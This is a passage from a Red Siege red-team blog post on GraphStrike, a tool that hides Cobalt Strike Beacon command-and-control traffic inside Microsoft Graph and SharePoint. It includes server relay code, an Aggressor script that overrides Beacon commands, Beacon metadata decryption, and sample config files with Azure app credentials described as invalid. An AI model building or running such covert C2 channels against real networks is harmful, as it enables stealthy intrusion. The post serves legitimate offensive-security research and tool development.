            elapsedTime = (at - bt).total_seconds()

            # Continue to sleep for the remainder of the sleep cycle
            if elapsedTime < comms['sleepTime']:
                print(f"continuing to sleep for: {str(comms['sleepTime'] - elapsedTime)} seconds longer...")
                time.sleep(comms['sleepTime'] - elapsedTime)

The major events / functionalities are summarized in the table below. Line numbers separated by an arrow indicate that the line numbers on the right hand side and their described actions only occur if the logical condition found at the line number on the left is satisfied.

Line Number(s)

Action / Details

10

Block until the main ‘CheckBeacons’ function sees that this Beacon’s TS tasking file is blank and ready for more tasking.

19

Send a GET request to the TS that is crafted to conform to the graphstrike profile in order to retrieve any tasking issued in Cobalt Strike.

22

Logical branch depending on whether the TS returned tasking data from the GET request

22 → 23/27

Upload the data to the TS tasking file in SharePoint and then toggle the ‘taskingReady’ event handler so that we block at line 10 on the next loop.

33

Sleep for the same period that Beacon is set to sleep for, OR until the ‘outputReady’ event handler is signaled which ends the sleep early.

36

Logical branch depending on ‘CheckBeacons’ seeing that this Beacon’s output file is NOT blank and thus has output that should be downloaded.

36 → 44

Reset the outputReady event handler so that we block/sleep at line 33 on the next loop.

36 → 47

Download the Beacon output file data

36 → 50

Upload a blank file to the Beacon output file to signal Beacon that it can send more output.

36 → 53

Send the Beacon output to the TS

36 → 66/68

Sleep for the remainder of Beacon’s sleep time if it hasn’t already fully elapsed.

That’s basically it. While it is all pretty simple, there is one subject worth exploring a bit more which is how the server handles Cobalt Strike commands like ‘exit’, ‘remove’, and ‘sleep’. Each of these commands alters Beacon’s state on target, but because of GraphStrike’s architecture we also really need to act on these commands within the server as well. This isn’t any easy task, as the data that the TS returns when it issues a command is encrypted so we can’t easily tell when one of these commands has been issued. The solution involves using Cobalt Strike’s Aggressor scripting language to communicate with the GraphStrike server separately outside of when it connects to the TS for tasking. A portion of the GraphStrike.cna script that is used to do so may be seen here:

alias exit {
    exitFunc($1);
}

sub exitFunc {
    local('$command $beaconIds @bids $id $data $output')

    # $1 gets passed in as different data types depending on how exit is called...
    if (typeOf($1) eq "class sleep.engine.types.StringValue")
    {
        add(@bids, $1);
    }
    else if (typeOf($1) eq "class sleep.runtime.CollectionWrapper")
    {
        addAll(@bids, $1);
    }

    foreach $id (@bids)
    {
        $beaconIds = $beaconIds . " " . $id;
    }

    $command = "cd $scriptDir && $scriptPath $teamserverIP exit $beaconIds && cd -";

    # Append instructions to command to redirect stderr to processStdout
    $command = $command . " 2>&1";

    # Run command in a subshell to redirect stderr -> processStdout
    $data = exec(@("/bin/sh", "-c", $command));

    # We don't really need the output, but reading the data lets us block
    # until the server has completed work before we issue Beacon commands.
    $output = join("\n", readAll($data));

    if (size(@bids) > 0)
    {
        foreach $id (@bids)
        {
            bexit($id);
        }
    }
    else
    {
        bexit($1);
    }
}

Aggressor lets you override standard Beacon commands; at line 1, a new ‘exit’ command is defined which calls ‘exitFunc’ on line 5. These custom functions that are ran when an existing command is called operate in a similar way to those used in GraphLdr, wherein we go take some additional actions before we also call the original function/code that was intended by the user. In this example we tell the OS to run a Python3 script called ‘message.py’. This script comes included with GraphStrike and is used to connect to a socket that is exposed and listening on the GraphStrike server. Using this connection, a message is sent from the Cobalt Strike client to the GraphStrike server informing it of the exit command and the associated Beacon ID. For ‘exit’, all we do on the server side of things is kill the thread that services that Beacon to conserve resources and then delete the TS tasking file and Beacon output file from SharePoint. The ‘sleep’ command of course adjusts the sleep time in the ‘BeaconComms’ loop to match what was issued to Beacon.

There was one big hiccup in this whole plan. To make this work there has to be some common identifier for a Beacon that both the TS and the GraphStrike server have access to. The only value I was able to find was the Beacon session ID; this is the value that is included in the name of the Beacon output file after the Beacon metadata and a delimiter. The glaring issue here is that the Beacon output file is only created when Beacon has output to send; until that point we only have the TS tasking file, so until we get Beacon to run a command and return output this value is unavailable to us… or so I thought.

Open source tooling comes to the rescue yet again. I had previously seen various “Cobalt Strike Beacon config parsers” but never had much reason to check them out myself. Didier Stevens released a tool several years ago for this purpose, and the GraphStrike server makes use of it in order to get around this blocker in the ‘GetBeaconId’ function:

# External cs-decrypt-metadata.py script from https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-decrypt-metadata.py
metadataScript = "inc/cs-decrypt-metadata.py"
metadataCommand = f"{metadataScript} -f {CS_DIR}.cobaltstrike.beacon_keys -t 7:Metadata,13,12 " # Leave space as we tack on metadata afterwards

def GetBeaconId(metadata):
    beaconId = None
    output = subprocess.getoutput(metadataCommand + metadata).split()

    for line in output:
        if "bid:" in line:
            beaconId = output[output.index(line) + 2]

    # Make sure the metadata parser actually runs
    if beaconId == None:
        p_err("Cannot parse BeaconId: are you running in a venv / have you installed all dependencies?", True)
    else:
        return beaconId

The ‘cs-decrypt-metadata.py’ tool can take Beacon’s encrypted metadata, undo whatever profile-based masking or manipulation that was applied, and decrypt it using the TS’s encryption keys which are stored in the TS directory as ‘.cobaltstrike.beacon_keys’. This allows the GraphStrike server to recover a Beacon’s session ID / Beacon ID from the TS tasking file, which means we no longer require Beacon to have sent output first.

The Provisioner

There isn’t much to say about the GraphStrike provisioner aside from the fact that it exists. Early in this blog post I mentioned that making GraphStrike easy to use and repeatable was a key goal, and the provisioner plays a part in making this happen. Users are on their own when it comes to creating an Azure tenant and making sure license requirements are met to have a sharepoint site, but the provisioner takes it from there. It uses the Azure CLI Python library to interface with the user’s tenant and create the Azure app as well as the associated client secret that will be used by GraphStrike. It further assigns required permissions to the app so that it can access the file related Graph API methods that we have detailed. Most importantly, it takes all of the variables and values that are returned from this process and creates two files on disk: ‘config.h’ and ‘config.py’.


The pieces of information in the config files, taken together or even in some cases alone, constitute sensitive information that you don’t want to go around sharing. The values in the example below are either censored or no longer valid as of time of publication.


#include "include.h"

#define SHAREPOINT_ADDRESS C_PTR ( OFFSET ( "/v1.0/sites/CENSORED.sharepoint.com,23CEN360-aSO1-44ad-8R4-3a6b80ED10cb,c1CEN2efe-aSO9-4076-9R1-4SDW3918ED93a/drive" ) )
#define APP_CLIENT_ID C_PTR ( OFFSET ( "854b480d-a5fd-4789-b2c1-511a3ee4cef7" ) )
#define APP_CLIENT_SECRET C_PTR ( OFFSET ( "K7D8Q~esKoxpcHbnCeisbg4pTzzFrM3nDsSH1ca-" ) )
#define TENANT_ID C_PTR ( OFFSET ( "8aCEN074b-dSO1-4Rab-99c5-e381ED492902" ) )
#define BID_DELIMITER C_PTR ( OFFSET ( "pD9-tK") )
#define HTTP_GET_PREFIX C_PTR ( OFFSET ( "_" ) )
#define HTTP_POST_PREFIX C_PTR ( OFFSET ( "-_" ) )
#!/usr/bin/python3

TENANT_ID = "8aCEN074b-dSO1-4Rab-99c5-e381ED492902"
CLIENT_ID = "854b480d-a5fd-4789-b2c1-511a3ee4cef7"
CLIENT_SECRET = "K7D8Q~esKoxpcHbnCeisbg4pTzzFrM3nDsSH1ca-"
SITE_ID = "CENSORED.sharepoint.com,23CEN360-aSO1-44ad-8R4-3a6b80ED10cb,c1CEN2efe-aSO9-4076-9R1-4SDW3918ED93a"
DRIVE_ID = "b!YCENSORED70EJJ880"
BID_DELIMITER = "pD9-tK"
HTTP_GET_PREFIX = "_"
HTTP_POST_PREFIX = "-_"
CS_DIR = "/opt/cobaltstrike/"
SLEEP_TIME = "5000"

Config.h is compiled into GraphLdr so that the UDRL contains all of the required information to use Graph API. Config.py is similarly loaded by the GraphStrike server at runtime so that it can do the same. When the provisioner is complete, users need simply start their TS, start their GraphStrike server, and then distribute the ‘client’ folder within GraphStrike to every operator who is going to connect to the TS using the Cobalt Strike client. After loading GraphStrike.cna, users are ready to create GraphStrike Beacons.

 

Conclusion

A massive thanks to readers who stuck with me thus far. I hope that this blog post was interesting for at least a few people and that it might help encourage others to try their hand at tool development. I’m available at @Octoberfest73 on twitter as well as in the Red Siege Discord channel for questions regarding GraphStrike.

 

Credits

GraphStrike would not have been possible without the contributions of the following individuals:

  1. Kyle Avery for AceLdr

  2. Dider Stevens for cs-decrypt-metadata.py

  3. Mike Saunders, Corey Overstreet, Chris Truncer, and Justin Palk from the Red Siege team who all kindly beta tested GraphStrike and identified multiple issues that were fixed prior to release.

     


 

About Alex Reid, Intern:

Alex Reid is an intern at Red Siege Information Security. Alex got started in offensive security 4 years ago on the United States Navy Red Team, and has been awarded several medals by the military for his work there as an advanced capabilities developer and red team technical lead. He has presented at several DoD Red Team conferences and is an active contributor to the offensive security community via open source tooling published on his personal GitHub.

Certifications:

OSCP, OSEP, and RTJC

Connect on Twitter and Linkedin

Using Microsoft Dev Tunnels for C2 Redirection

By Red Siege | April 9, 2024

by Justin Palk, Senior Security Consultant   As penetration testers, we’re always on the lookout for new ways to get our command-and-control (C2) traffic out of a client’s network, evading […]

Learn More
Using Microsoft Dev Tunnels for C2 Redirection

SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access

By Red Siege | April 1, 2024

By: Alex Reid, Current Red Siege Intern   In the April 2018 release of Windows 10 version 1803, Microsoft announced that the Windows OpenSSH client would ship and be enabled […]

Learn More
SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access

Navigating Active Directory Security with EDD

By Red Siege | March 21, 2024

Tool developed by: Chris Truncer   Leverage EDD for Advanced Offensive Strategies EDD serves as a critical tool for offensive security professionals, enhancing domain reconnaissance with .NET efficiency. It facilitates a […]

Learn More
Navigating Active Directory Security with EDD

Find Out What’s Next

Stay in the loop with our upcoming events.